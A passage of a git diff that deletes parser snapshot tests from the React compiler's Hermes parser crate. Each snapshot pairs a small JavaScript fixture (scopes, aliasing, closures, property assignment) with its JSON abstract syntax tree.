--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@overlapping-scopes-within-block.js.snap
+++ /dev/null
@@ -1,367 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/overlapping-scopes-within-block.js
----
-Input:
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    let y = [];
-    if (b) {
-      y.push(c);
-    }
-
-    x.push(y);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    34,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  36
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              37
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                44,
-                45
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          58
-                        ]
-                      },
-                      "init": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          61,
-                          63
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        57,
-                        63
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    53,
-                    64
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      74
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                84,
-                                85
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                86,
-                                90
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              84,
-                              90
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            84,
-                            93
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          94
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      76,
-                      100
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          107
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          112
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        106,
-                        112
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          113,
-                          114
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      106,
-                      115
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    116
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                120
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              40,
-              120
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                130,
-                131
-              ]
-            },
-            "loc": null,
-            "range": [
-              123,
-              132
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          134
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        134
-      ],
-      "loc": null,
-      "range": [
-        0,
-        134
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    134
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-alias-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-alias-mutate.js.snap
deleted file mode 100644
index d3499a432be2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-alias-mutate.js.snap
+++ /dev/null
@@ -1,324 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/primitive-alias-mutate.js
----
-Input:
-function component(a) {
-  let x = "foo";
-  if (a) {
-    x = "bar";
-  } else {
-    x = "baz";
-  }
-  let y = x;
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "StringLiteral",
-                  "value": "foo",
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                47,
-                48
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "bar",
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      56,
-                      65
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    66
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                50,
-                70
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        82,
-                        83
-                      ]
-                    },
-                    "right": {
-                      "type": "StringLiteral",
-                      "value": "baz",
-                      "loc": null,
-                      "range": [
-                        86,
-                        91
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      82,
-                      91
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    92
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                76,
-                96
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    104
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    108
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  108
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              99,
-              109
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  112,
-                  118
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    120
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                112,
-                121
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              112,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                132,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              125,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          136
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        136
-      ],
-      "loc": null,
-      "range": [
-        0,
-        136
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    136
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep-nested-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep-nested-scope.js.snap
deleted file mode 100644
index 30788abc176f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep-nested-scope.js.snap
+++ /dev/null
@@ -1,358 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/primitive-as-dep-nested-scope.js
----
-Input:
-// props.b + 1 is an non-allocating expression, which means Forget can
-// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1
-// separately from props.b)
-// Correctness:
-//   y depends on either props.b or props.b + 1
-function PrimitiveAsDepNested(props) {
-  let x = {};
-  mutate(x);
-  let y = foo(props.b + 1);
-  mutate(x, props.a);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "PrimitiveAsDepNested",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          245,
-          265
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            266,
-            271
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    281,
-                    282
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    285,
-                    287
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  281,
-                  287
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              277,
-              288
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  291,
-                  297
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    298,
-                    299
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                291,
-                300
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              291,
-              301
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    308,
-                    309
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      312,
-                      315
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            316,
-                            321
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            322,
-                            323
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          316,
-                          323
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          326,
-                          327
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        316,
-                        327
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    312,
-                    328
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  308,
-                  328
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              304,
-              329
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  332,
-                  338
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    339,
-                    340
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      342,
-                      347
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      348,
-                      349
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    342,
-                    349
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                332,
-                350
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              332,
-              351
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    362,
-                    363
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    365,
-                    366
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                361,
-                367
-              ]
-            },
-            "loc": null,
-            "range": [
-              354,
-              368
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          273,
-          370
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        236,
-        370
-      ],
-      "loc": null,
-      "range": [
-        236,
-        370
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    236,
-    370
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep.js.snap
deleted file mode 100644
index ba3c16067932..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@primitive-as-dep.js.snap
+++ /dev/null
@@ -1,190 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/primitive-as-dep.js
----
-Input:
-// props.b + 1 is an non-allocating expression, which means Forget can
-// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1
-// separately from props.b)
-// Correctness:
-//   y depends on either props.b or props.b + 1
-function PrimitiveAsDep(props) {
-  let y = foo(props.b + 1);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "PrimitiveAsDep",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          245,
-          259
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            260,
-            265
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    275,
-                    276
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      279,
-                      282
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            283,
-                            288
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            289,
-                            290
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          283,
-                          290
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          293,
-                          294
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        283,
-                        294
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    279,
-                    295
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  275,
-                  295
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              271,
-              296
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                306,
-                307
-              ]
-            },
-            "loc": null,
-            "range": [
-              299,
-              308
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          267,
-          310
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        236,
-        310
-      ],
-      "loc": null,
-      "range": [
-        236,
-        310
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    236,
-    310
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@prop-capturing-function-1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@prop-capturing-function-1.js.snap
deleted file mode 100644
index b7084cdd7174..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@prop-capturing-function-1.js.snap
+++ /dev/null
@@ -1,319 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/prop-capturing-function-1.js
----
-Input:
-function component(a, b) {
-  let z = { a, b };
-  let x = function () {
-    console.log(z);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          42,
-                          43
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          42,
-                          43
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              46
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                75,
-                                82
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                83,
-                                86
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              75,
-                              86
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                87,
-                                88
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            75,
-                            89
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          90
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      69,
-                      94
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    57,
-                    94
-                  ],
-                  "loc": null,
-                  "range": [
-                    57,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  53,
-                  94
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              95
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                106
-              ]
-            },
-            "loc": null,
-            "range": [
-              98,
-              107
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          109
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        109
-      ],
-      "loc": null,
-      "range": [
-        0,
-        109
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    109
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-assignment.js.snap
deleted file mode 100644
index 3453150f0005..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@property-assignment.js.snap
+++ /dev/null
@@ -1,506 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/property-assignment.js
----
-Input:
-function Component(props) {
-  const x = {};
-  const y = [];
-  x.y = y;
-  const child = <Component data={y} />;
-  x.y.push(props.p0);
-  return <Component data={x}>{child}</Component>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    56,
-                    58
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  58
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              59
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  62,
-                  65
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  68,
-                  69
-                ]
-              },
-              "loc": null,
-              "range": [
-                62,
-                69
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              62,
-              70
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
